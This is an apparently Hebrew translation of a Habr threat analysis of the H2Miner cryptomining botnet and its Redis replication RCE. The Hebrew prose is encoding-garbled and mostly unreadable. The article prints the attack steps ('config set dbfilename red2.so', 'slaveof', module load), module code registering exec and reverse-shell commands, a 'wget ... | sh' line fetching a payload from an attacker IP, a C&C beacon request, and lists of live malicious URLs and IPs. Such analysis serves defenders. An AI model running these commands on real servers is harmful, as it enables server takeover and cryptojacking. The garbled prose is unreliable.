ืืคื ื ืืื, ืืื ืืืฉืจืชืื ืฉื ืืคืจืืืงื ืฉืื ืืืชืงืฃ ืขื ืืื ืชืืืขืช ืืืื. ืืืืคืืฉ ืืืจ ืชืฉืืื ืืฉืืื "ืื ืื ืืื?" ืืฆืืชื ืืืืจ ื ืืืจ ืฉื ืฆืืืช ืืืืืช ืืขื ื ืฉื ืขืืืืืื. ืืืืืื ืฉืื ืืฆืืชื ืืช ืืืืืจ ืืื ืขื Habrรฉ, ืืืืืชื ืืชืจืื ืืืชื ืืืืืื ืขืืืจืื <3
ืื ืืกื
ืืืืจืื ื, ืฆืืืช ืืืืืื ืฉื Alibaba Cloud ืืืื ืืชืคืจืฆืืช ืคืชืืืืืช ืฉื H2Miner. ืกืื ืื ืฉื ืชืืืขืช ืืืื ืืช ืืฉืชืืฉ ืืืืขืืจ ืืจืฉืื ืื ืืกืืกืืืืช ืืืฉืืช ืขืืืจ Redis ืืฉืขืจืื ืืืขืจืืืช ืฉืื, ืืืืืจ ืืื ืืื ืืกื ืืจื ืืช ืืืืืื ืืืืื ื ืฉืื ืขื ืืขืื ืืืืฆืขืืช ืกื ืืจืื ืืืกืืจ-ืขืื ืืืืกืืฃ ืืืจืื ืืช ืืืืืื ืืืืื ื ืืื ืืืืฉื ืืืืชืงืฃ ืืืืฆืข ืืืื ื ืืืจืืืช.
ืืขืืจ, ืืชืงืคืืช ืขื ืืืขืจืืืช ืฉืื ืืืฆืขื ืืขืืงืจ ืืฉืืื ืืืืืืช ืืฉืืืืช ืืชืืืื ืืช ืื ืืคืชืืืช SSH ืฉื ืืชืื ืืืืฉื ืฉืื ืืืืจ ืฉืืชืืงืฃ ื ืื ืก ื-Redis. ืืืจืื ืืืื, ืื ื ืืชื ืืืฉืชืืฉ ืืฉืืื ืื ืืขืชืื ืงืจืืืืช ืขืงื ืืขืืืช ืืืงืจืช ืืจืฉืืืช ืื ืขืงื ืืจืกืืืช ืืขืจืืช ืฉืื ืืช. ืขื ืืืช, ืฉืืื ืื ืฉื ืืขืื ืช ืืืืื ืืืื ื ืืืืื ืืืฆืข ืืฉืืจืืช ืืช ืืคืงืืืืช ืฉื ืืชืืงืฃ ืื ืืงืื ืืืฉื ืืืขืืคืช, ืื ืฉืืกืืื ืืืขืจืืช ืฉืื.
ืืฉื ืืืกืคืจ ืืจื ืฉื ืฉืจืชื Redis ืืืชืืจืืื ืืืื ืืจื ื (ืงืจืื ืืืืืืื), ืฆืืืช ืืืืืื ืฉื Alibaba Cloud, ืืชืืืืจืช ืืืืืืชืืช, ืืืืืฅ ืืืฉืชืืฉืื ืื ืืฉืชืฃ ืืช Redis ืืืื ืืจื ื ืืืืืืง ืืืืคื ืงืืืข ืืช ืขืืฆืืช ืืกืืกืืืืช ืฉืืื ืืืื ืื ื ืคืืขืืช. ืืืืจื ืืืืจื.
H2Miner
H2Miner ืืื ืจืฉืช ืืจืืื ืืืขืจืืืช ืืืืกืกืืช ืืื ืืงืก ืฉืืืืื ืืคืืืฉ ืืืขืจืืช ืฉืื ืืืืืื ืืจืืื, ืืืื ืืืกืจ ืืจืฉืื ืืคืจืฆืืช ืฉื Hadoop yarn, Docker ื-Redis ืืจืืืง (RCE). ืจืฉืช ืืื ืคืืขืืช ืขื ืืื ืืืจืืช ืกืงืจืืคืืื ืืืื ืืื ืืชืืื ืืช ืืืื ืืืช ืืื ืืืจืืช ืืช ืื ืชืื ืื ืฉืื, ืืืจืืื ืืช ืืืชืงืคื ืืจืืื ืืืฉืืืจ ืขื ืชืงืฉืืจืช ืคืืงืื ืืืงืจื (C&C).
Redis RCE
ืืช ืืืืข ืื ืืฉื ืื ืฉืืชืฃ Pavel Toporkov ื-ZeroNights 2018. ืืืืจ ืืจืกื 4.0, Redis ืชืืืืช ืืชืืื ืช ืืขืื ืช ืคืืืืื ืืืขื ืืงื ืืืฉืชืืฉืื ืืช ืืืืืืช ืืืขืื ืื ืฉืงืืฆืื ืฉืืืจืืื ืขื C ืืชืื Redis ืืื ืืืฆืข ืคืงืืืืช Redis ืกืคืฆืืคืืืช. ืคืื ืงืฆืื ืื, ืืืจืืช ืฉืืืืฉืืช, ืืืืื ืคืืืขืืช ืฉืื, ืืืฆื ืืืกืืจ-slave, ื ืืชื ืืกื ืืจื ืงืืฆืื ืขื ื-slave ืืืืฆืขืืช ืืฆื fullresync. ืื ืืืื ืืฉืืฉ ืชืืงืฃ ืืื ืืืขืืืจ ืงืืฆืื ืืืื ืืื. ืืืืจ ืืฉืืืช ืืืขืืจื, ืืชืืงืคืื ืืืขื ืื ืืช ืืืืืื ืขื ืืืคืข Redis ืืืืชืงืฃ ืืืืฆืขืื ืื ืคืงืืื.
ื ืืชืื ืชืืืขืช ืชืืื ืืช ืืืื ืืืช
ืืืืจืื ื, ืฆืืืช ืืืืืื ืฉื Alibaba Cloud ืืืื ืฉืืืืื ืฉื ืงืืืฆืช ืืืืจืื ืืืืื ืืื H2Miner ืืื ืืคืชืข ืืืืคื ืืจืืื. ืขื ืคื ืื ืืชืื, ืืชืืืื ืืืืื ืฉื ืืชืจืืฉืืช ืืชืงืืคื ืืื ืืืืงืื:
H2Miner ืืฉืชืืฉ ื-RCE Redis ืืืชืงืคื ืืืื. ืชืืงืคืื ืชืืงืคืื ืชืืืื ืฉืจืชื Redis ืื ืืืื ืื ืื ืฉืจืชืื ืขื ืกืืกืืืืช ืืืฉืืช.
ืืื ืื ืืฉืชืืฉืื ืืคืงืืื config set dbfilename red2.so
ืืื ืืฉื ืืช ืืช ืฉื ืืงืืืฅ. ืืืืจ ืืื, ืืชืืงืคืื ืืืฆืขืื ืืช ืืคืงืืื slaveof
ืืื ืืืืืืจ ืืช ืืชืืืช ืืืืจื ืืฉืืคืื ืืืกืืจ-ืขืื.
ืืืฉืจ ืืืคืข Redis ืืืืชืงืฃ ืืืฆืจ ืืืืืจ ืืืกืืจ-slave ืขื Redis ืืืืื ื ืฉืืืขืืืช ืืชืืงืฃ, ืืชืืงืฃ ืฉืืื ืืช ืืืืืื ืื ืืืข ืืืืฆืขืืช ืคืงืืืช fullresync ืืกื ืืจืื ืืงืืฆืื. ืืงืืืฅ red2.so ืืืืจื ืืืืจ ืืื ืืืืฉื ืืืืชืงืฃ. ืืืืจ ืืื, ืืชืืงืคืื ืืฉืชืืฉืื ืืืืืื ืืืขืื ื ./red2.so ืืื ืืืขืื ืงืืืฅ so ืื. ืืืืืื ืืืื ืืืฆืข ืคืงืืืืช ืืชืืงืฃ ืื ืืืืื ืืืืืจ ืืคืื (ืืืช ืืืืจืืช) ืืื ืืงืื ืืืฉื ืืืืฉื ืืืืชืงืฃ.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
ืืืืจ ืืืฆืืข ืคืงืืื ืืืื ืืช ืืืื / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1
, ืืชืืงืฃ ืืืคืก ืืช ืฉื ืงืืืฅ ืืืืืื ืืืคืจืืง ืืช ืืืืื ืืืขืจืืช ืืื ืื ืงืืช ืืช ืืขืงืืืช. ืขื ืืืช, ืืงืืืฅ red2.so ืขืืืื ืืืฉืืจ ืืืืฉื ืืืืชืงืฃ. ืืืืืฅ ืืืฉืชืืฉืื ืืฉืื ืื ืื ืืืืืช ืฉื ืงืืืฅ ืืฉืื ืฉืืื ืืชืืงืืื ืฉื ืืืคืข Redis ืฉืืื.
ืื ืืกืฃ ืืืจื ืืื ืชืืืืืื ืืืื ืืื ืืื ืืื ืื ืืฉืืืื, ืืชืืงืฃ ืขืงื ืืืจ ืกืงืจืืคื ืืืื ื ืขื ืืื ืืืจืื ืืืืฆืืข ืฉื ืงืืฆืื ืืื ืืจืืื ืืืื ืืื
ืขื ืคื ืชืืฆืืืช ืืื ืืกื ืืืคืืื, ืืชืืื ื ืืืืื ืืช ืืืฆืขืช ืืขืืงืจ ืืช ืืคืื ืงืฆืืืช ืืืืืช:
- ืืขืืืช ืงืืฆืื ืืืืฆืืขื
- ืึผึฐืจึดืึธื
- ืฉืืืจื ืขื ืชืงืฉืืจืช C&C ืืืืฆืืข ืคืงืืืืช ืชืืงืคืื
ืืฉืชืืฉ ื-masscan ืืกืจืืงื ืืืฆืื ืืช ืืื ืืืจืืื ืืช ืืฉืคืขืชื. ืื ืืกืฃ, ืืชืืืช ื-IP ืฉื ืฉืจืช ื-C&C ืืงืืืืช ืืงืื ืงืฉืื ืืชืืื ืืช, ืืืืืจื ืืืืชืงืฃ ืืชืงืฉืจ ืขื ืฉืจืช ืืชืงืฉืืจืช ืฉื C&C ืืืืฆืขืืช ืืงืฉืืช HTTP, ืืืฉืจ ืืืืข ืืืืืื (ืฉืจืช ืฉื ืคืืข) ืืืืื ืืืืชืจืช HTTP.
GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
ืฉืืืืช ืชืงืืคื ืืืจืืช
ืืชืืืืช ืืงืืฉืืจืื ืืืฉืืฉืื ืืช ืืชืืืขืช
/ืงืืกืื ื
โข 142.44.191.122/t.sh
โข 185.92.74.42/h.sh
โข 142.44.191.122/spr.sh
โข 142.44.191.122/spre.sh
โข 195.3.146.118/unk.sh
s&c
โข 45.10.88.102
โข 91.215.169.111
โข 139.99.50.255
โข 46.243.253.167
โข 195.123.220.193
ืืืืขืฆื
ืจืืฉืืช, Redis ืื ืืืืจื ืืืืืช ื ืืืฉื ืืืืื ืืจื ื ืืฆืจืืื ืืืืืช ืืืื ืช ืืืืฆืขืืช ืกืืกืื ืืืงื. ืืฉืื ืื ืฉืืืงืืืืช ืืืืงื ืฉืืื ืงืืืฅ red2.so ืืกืคืจืืืช Redis ืืฉืืื "ืงืื ืกืื ื" ืืฉื ืืงืืืฅ/ืืชืืืื ืืืืจื.
ืืงืืจ: www.habr.com